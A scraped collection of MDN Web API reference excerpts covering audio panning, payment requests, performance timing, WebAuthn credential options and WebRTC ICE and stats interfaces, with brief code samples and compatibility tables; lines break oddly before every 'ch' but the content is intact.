in su
ch a case, a sound pointing away from the listener can be very quiet or even silent.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PannerNode.setVelocity() - Web APIs
the velocity relative to the listener is used to control the pit
ch change needed to conform with the doppler effect due to the relative speed.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PasswordCredential.additionalData - Web APIs
the additionaldata property of the passwordcredential interface takes one of a formdata instance, a urlsear
chparams instance, or null.
... syntax passwordcredential.additionaldata = formdata formdata = passwordcredential.additionaldata passwordcredential.additionaldata = urlsear
chparams ulrsear
chparams = passwordcredential.additionaldata value one of a formdata instance, a urlsear
chparams instance, or null.
...it then stores the form object in the additionaldata parameter, before sending it to server in a call to fet
ch.
...navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fet
ch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
Path2D - Web APIs
the path methods of the canvasrenderingcontext2d interface are also present on this interface, whi
ch gives you the convenience of being able to retain and replay your path whenever desired.
...the starting point is the last point in the current path, whi
ch can be
changed using moveto() before creating the bézier curve.
... path2d.arc() adds an arc to the path whi
ch is centered at (x, y) position with radius r starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise).
... path2d.ellipse() adds an elliptical arc to the path whi
ch is centered at (x, y) position with the radii radiusx and radiusy starting at startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise).
PaymentAddress.region - Web APIs
the read-only region property of the paymentaddress interface returns a string containing the top-level administrative subdivision of the country in whi
ch the address is located.
... syntax var paymentregion = paymentaddress.region; value a domstring specifying the top-level administrative subdivision within the country in whi
ch the address is located.
... this region has different names in different countries, su
ch as: state, province, oblast, prefecture, or county.
...in su
ch cases, the browser returns an empty string as the value of region.
PaymentCurrencyAmount.currencySystem - Web APIs
the obsolete paymentcurrencyamount property currencysystem is a string whi
ch specifies the standard being used to specify the currency the value is specified in.
... for example, the default is urn:iso:std:iso:4217, whi
ch specifies that the standard used is iso 4217.
... syntax currencysystem = paymentcurrencyamount.currencysystem; value a domstring whi
ch specifies the currency standard used to specify the currency in whi
ch the payment value is represented.
... candidate recommendation the mar
ch 20, 2018 version of the specification; the last one to include this property ...
PaymentItem - Web APIs
this might be an item or service being pur
chased or a tax or other
charge.
... label secure context a string specifying a human-readable name or description of the item or service being
charged for.
... pending secure context a boolean value whi
ch is true if the specified amount has not yet been finalized.
... this can be used to show items su
ch as shipping or tax amounts that depend upon the selection of shipping address, shipping option, or so forth.
PaymentRequest.prototype.id - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetid
chrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support 11.1webview android no support no
chrome android full support 60firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.shippingAddress - Web APIs
when the paymentrequest.onshippingaddress
change is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
...var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddress
change', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for brevity.
... }).cat
ch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingopti...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingType - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingtype
chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support 11.1webview android no support no
chrome android full support 55firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.payerName - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayername
chrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support no
chrome android full support 58firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 7.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.requestId - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestid
chrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support no
chrome android full support 60firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PerformanceEntry.startTime - Web APIs
"resource" - returns the timestamp immediately before the browser starts fet
ching the resource.
...the entry is a performanceresourcetiming object), this property returns the performanceentry.fet
chstart timestamp.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the ea
ch entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]");
check_performanceentry(p[i]); } } function
check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { //
check ea
ch method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'starttime' in that specification.
PerformanceEntry - Web APIs
performance entries are also created in indirect ways su
ch as loading a resource (su
ch as an image).
... performanceentry.entrytype read only a domstring representing the type of performance metric su
ch as, for example, "mark".
... example the following example
checks all performanceentry properties to see if the browser supports them and if so, write their values to the console.
...ance entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("performanceentry[" + i + "]"); print_performanceentry(p[i]); } } function print_performanceentry(perfentry) { var properties = ["name", "entrytype", "starttime", "duration"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceObserver.observe() - Web APIs
the performance entry types are specified as an array of domstring objects, ea
ch naming one entry type; the type names are documented in performance entry type names in performanceentry.entrytype.
... when a mat
ching performance entry is recorded, the performance observer's callback function—set when creating the performanceobserver—is invoked.
... syntax observer.observe(options); parameters options a performanceobserverinit dictionary with the following possible members: entrytypes: an array of domstring objects, ea
ch specifying one performance entry type to observe.
... examples this example creates and configures two performanceobservers; one wat
ches for "mark" and "frame" events, and the other wat
ches for "measure" events.
PerformanceResourceTiming.redirectStart - Web APIs
the redirectstart read-only property returns a timestamp representing the start time of the fet
ch whi
ch that initiates the redirect.
... if there are http redirects when fet
ching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow
check algorithm passes for ea
ch redirected resource, this property returns the starting time of the fet
ch that initiates the redirect; otherwise, zero is returned.
... syntax resource.redirectstart; return value a timestamp representing the start time of the fet
ch whi
ch initiates the redirect.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fet
chstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
Permissions API - Web APIs
concepts and usage historically different apis handle their own permissions inconsistently — for example the notifications api allows for explicit
checking of permission status and requesting permission, whereas the geolocation api doesn't (whi
ch causes problems if the user denied the initial permission request).
... the permissions property has been made available on the navigator object, both in the standard browsing context and the worker context (workernavigator — so permission
checks are available inside workers), and returns a permissions object that provides access to the permissions api functionality.
... permissions provides the core permission api functionality, su
ch as methods for querying and revoking permissions.
... permissionstatus provides access to the current status of a permission, and an event handler to respond to
changes in permission status.
ProcessingInstruction - Web APIs
the processinginstruction interface represents a processing instruction; that is, a node whi
ch embeds an instruction targeting a specific application but that can be ignored by any other applications whi
ch don't recognize the instruction.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/
characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">
characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/processinginstruction" target="_top"><rect x="436" y...
...="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to whi
ch the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
PromiseRejectionEvent - Web APIs
the promiserejectionevent interface represents events whi
ch are sent to the global script context when javascript promises are rejected.
...w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/promiserejectionevent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-fami...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">promiserejectionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor promiserejectionevent() creates a promiserejectionevent event, given the type of event (unhandledrejection or rejectionhandled) and other details.
... examples this simple example cat
ches unhandled promise rejections and logs them for debugging purposes.
PublicKeyCredential.response - Web APIs
the response read-only property of the publickeycredential interface is an authenticatorresponse object whi
ch is sent from the authenticator to the user agent for the creation/fet
ching of credentials.
... note: when validating the fet
ching of existing credentials, the whole publickeycredential object and the client extensions are necessary for the relying party's server.
... syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and whi
ch should be sent to the relying party's server in order to validate the demand for creation or fet
ching.
... examples var options = {
challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).cat
ch(func...
PublicKeyCredentialCreationOptions.rp - Web APIs
the rp property of the publickeycredentialcreationoptions dictionary is an object describing the relying party whi
ch requested the credential creation (via navigator.credentials.create()).
... syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an url as a usvstring value whi
ch points to an image resource whi
ch can be the logo/icon of the relying party.
... examples var publickey = {
challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcr...
...edentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification.
PublicKeyCredentialCreationOptions.timeout - Web APIs
this property is optional and merely is a hint whi
ch may be overridden by the browser.
... note: an analogous option exists for the fet
ching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.timeout.
...
challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be
changed for ea
ch user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server...
... to proceed with the registration // of the credential }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
allowcredentials is an optional property of the publickeycredentialrequestoptions dictionary whi
ch indicates the existing credentials acceptable for retrieval.
...as of this writing (mar
ch 2019), only "public-key" may be used.
... id a buffersource mat
ching an existing public key credential identifier (publickeycredential.rawid).
... examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ],
challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web ...
RTCDTMFSender.insertDTMF() - Web APIs
sending of the tones is performed asyn
chronously, with tone
change events sent to the rtcdtmfsender every time a tone starts or ends.
...a ","
character inserts a two second delay.
... duration optional the amount of time, in milliseconds, that ea
ch dtmf tone should last.
... invalid
charactererror one or more of the
characters in tones is not valid dtmf.
RTCIceCandidate.RTCIceCandidate() - Web APIs
the rtcicecandidate() constructor creates and returns a new rtcicecandidate object, whi
ch can be configured to represent a single ice candidate.
... if candidateinfo is provided, the new rtcicecandidate is initialized as follows: ea
ch member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit.
... the candidate string (whi
ch is sdp text) is parsed; ea
ch property found is stored in the corresponding field in the rtcicecandidate.
...the default value of candidate is the empty string, whi
ch indicates that the candidate is an "end-of-candidates" message.
RTCIceCandidate.candidate - Web APIs
if the candidate is an empty string (""), the end of the candidate list has been rea
ched; this candidate is known as the "end-of-candidates" marker.
...the attributes are all separated by a single space
character, and are in a specific order.
... the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example in this example, we see a function whi
ch receives as input an sdp string containing an ice candidate received from the remote peer during the signaling process.
... function handlenewicecandidate(candidatesdp) { var candidateobj = new rtcicecandidate(candidatesdp); mypeerconnection.addicecandidate(candidateobj).cat
ch({ /* handle the error thrown by addicecandidate() */ }); } the handlenewicecandidate() function shown here passes the received candidate's sdp text into rtcicecandidate() to receive an rtcicecanddiate object in return, whi
ch represents the candidate.
RTCIceCandidate.component - Web APIs
the read-only component property on the rtcicecandidate interface is a string whi
ch indicates whether the candidate is an rtp or an rtcp candidate.
... syntax var component = rtcicecandidate.component; value a domstring whi
ch is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates.
...a value of "1" indicates rtp, whi
ch is recorded in the component property as "rtp".
... example this code snippet examines a candidate's component type and dispat
ches the candidate to different handlers depending on the value.
RTCIceCandidate.port - Web APIs
the rtcicecandidate interface's read-only port property contains the port number on the device at the address given by ip at whi
ch the candidate's peer can be rea
ched.
... syntax var port = rtcicecandidate.port; value a 16-bit number indicating the port number on the device at the address indicated by ip at whi
ch the candidate's peer can be rea
ched.
... usage notes consider this sdp attribute line (a-line) whi
ch describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the port number is found in the sixth field, whi
ch is "44323".
... example this code snippet fet
ches the ip address and port number of the candidate, storing them into an object for future use.
RTCIceCandidate.relatedAddress - Web APIs
syntax var reladdress = rtcicecandidate.relatedaddress; value a domstring whi
ch contains the candidate's related address.
...relatedaddress can also be used by quality-of-service (qos) me
chanisms.
... example in this example, the candidate's type is
checked, and then debugging output is presented, based on the candidate type, including the candidate's ip and relatedaddress.
... swit
ch(candidate.type) { case "host": console.log("host candidate's ip address is " + candidate.ip); break; case "srflx": console.log("server reflexive candidate's base address is " + candidate.relatedaddress + "; rea
chable at " + candidate.ip); break; case "prflx": console.log("peer reflexive candidate's base address is " + candidate.relatedaddress + "; rea
chable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; rea
chable at " + candidate.ip); break; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedaddress' in that ...
RTCIceCandidateInit.candidate - Web APIs
if the candidate is an empty string (""), the end of the candidate list has been rea
ched; this candidate is known as the "end-of-candidates" marker.
...the attributes are all separated by a single space
character, and are in a specific order.
...if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).cat
ch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
... that usage would
change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).cat
ch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
RTCIceCandidateInit.usernameFragment - Web APIs
the string may be up to 256
characters long, and has no default value.
...the specifics for whi
ch bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide.
... for example, a browser might
choose to always use a 24-
character ufrag in whi
ch bit 4 of ea
ch character is randomly selected between 0 and 1.
...or perhaps every
character is entirely random.
RTCIceCandidatePairStats.requestsReceived - Web APIs
the rtcicecandidatepairstats dictionary's requestsreceived property indicates the total number of stun connectivity
check requests that have been received so far on the connection described by this pairing of candidates.
... syntax requestsreceived = rtcicecandidatepairstats.requestsreceived; value an integer value whi
ch specifies the number of stun connectivity and/or consent requests that have been received to date on the connection described by this pair of ice candidates.
... because there's no way to tell the difference between requests made to
check connectivity and requests made to
check consent, the returned figure includes both.
...this differs from requestssent, whi
ch does not include retransmisions.
RTCIceCandidatePairStats.selected - Web APIs
syntax isselected = icpstats.selected; value a firefox-specific boolean value whi
ch is true if the candidate pair described by this object is the one currently in use.
... in any other browser, you can determine the selected candidate pair by looking for a stats object of type transport, whi
ch is an rtctransportstats object.
... example the function shown in this example identifies the currently-selected candidate pair from a statistics report by first iterating over ea
ch report, looking for a transport report; when one is found, that transport's selectedcandidatepairid is used to get the rtcicecandidatepair describing the connection.
... function getcurrentcandidatepair(statsresults) { statsresults.forea
ch(report => { if (report.type === "transport") { currentpair = statsresults.get(report.selectedcandidatepairid); } }); if (!currentpair) { statsresults.forea
ch(report => { if (report.type === "candidate-pair" && report.selected) { currentpair = report; } }); } return currentpair; } specifications not part of any specification.
RTCIceCandidateStats.address - Web APIs
syntax candidateaddress = rtcicecandidatestats.address; value either an ipv4 or ipv6 address or a fully-qualified domain name, whi
ch corresponds to the candidate.
... if the value is entirely comprised of hexadecimal digits and colon (":")
characters, it is interpreted as an ipv6 address.
... otherwise, the address is presumed to be a fully-qualified domain name, whi
ch is resolved first using an aaaa record (assuming ipv6 is available), then using an a record (if no result is found or the device onlu supports ipv4).
... if multiple ip addresses are returned in response to the query, the user agent selects one, whi
ch is then used for the duration of ice processing.
RTCInboundRtpStreamStats.pliCount - Web APIs
these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded video data, whi
ch may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-syn
chronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of this message is to allow the sender to consider te
chniques to mitigate network performance issues.
... this is often a
chieved by methods su
ch as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
RTCInboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcinboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value whi
ch indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcinboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can
change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp whi
ch ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; swit
ch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCNetworkType - Web APIs
the vpn obscures the underlying network type, whi
ch is not discernible.
... unknown the user's browser is unable or unwilling to identify the underlying connection te
chnology used by the described connection.
... this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, su
ch as to avoid device fingerprinting.
... note: keep in mind that the specified value only reflects the initial connection between the local peer and the next hop along the network toward rea
ching the remote peer.
RTCOutboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value whi
ch indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can
change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp whi
ch ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; swit
ch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCPeerConnection.getSenders() - Web APIs
the rtcpeerconnection method getsenders() returns an array of rtcrtpsender objects, ea
ch of whi
ch represents the rtp sender responsible for transmitting one track's data.
... syntax var senders = rtcpeerconnection.getsenders(); return value an array of rtcrtpsender objects, one for ea
ch track on the connection.
... the order of the returned rtcrtpsenders is not defined by the specification, and may
change from one call to getsenders() to the next.
... function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.forea
ch(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification.
RTCPeerConnection.iceGatheringState - Web APIs
you can detect when the value of this property
changes by wat
ching for an event of type icegatheringstate
change.
... rtcicegatheringstate enum the rtcicegatheringstate enum defines string constants whi
ch reflect the current status of ice gathering, as returned using the rtcpeerconnection.icegatheringstate property.
... you can detect when this value
changes by wat
ching for an event of type icegatheringstate
change.
...if something happens that requires collecting new candidates, su
ch as a new interface being added or the addition of a new ice server, the state will revert to "gathering" to gather those candidates.
RTCPeerConnection.onaddstream - Web APIs
su
ch an event is sent when a mediastream is added to this connection by the remote peer.
... important: this property has been removed from the specification; you should now use rtcpeerconnection.ontrack to wat
ch for track events instead.
... it is included here in order to help you adapt existing code and understand existing samples, whi
ch may not be up-to-date yet.
... syntax rtcpeerconnection.onaddstream = eventhandler; value a function whi
ch handles addstream events.
RTCPeerConnection.sctp - Web APIs
the read-only sctp property on the rtcpeerconnection interface returns an rtcsctptransport describing the sctp transport over whi
ch sctp data is being sent and received.
... the sctp transport is used for transmitting and receiving data for any and all rtcdata
channels on the peer connection.
... syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data
channels, or null if sctp negotiation hasn't happened.
... example var pc = new rtcpeerconnection(); var
channel = pc.createdata
channel("mydata");
channel.onopen = function(event) {
channel.send('sending a message'); }
channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
RTCRemoteOutboundRtpStreamStats - Web APIs
localid a domstring whi
ch is used to find the local rtcinboundrtpstreamstats object whi
ch shares the same syn
chronization source (ssrc).
... remotetimestamp a domhighrestimestamp specifying the timestamp (on the remote device) at whi
ch the statistics in the rtcremoteoutboundrtpstreamstats object were sent by the remote endpoint.
... this is different from the timestamp found in the base rtcstats dictionary; it represents the time at whi
ch the object's statistics were received or generated by the local endpoint.
...be aware that the remote clock may not be syn
chronized with the local clock (either in current time or speed at whi
ch time elapses).
RTCRtpReceiver.getCapabilities() static function - Web APIs
syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for whi
ch you wish to get the device's capability to receive.
...nothing is loaded, fet
ched, or otherwise prepared.
...for that reason, in privacy-sensitive contexts, the browser may
choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations.
... function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.forea
ch((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification.
RTCRtpSender.getCapabilities() static function - Web APIs
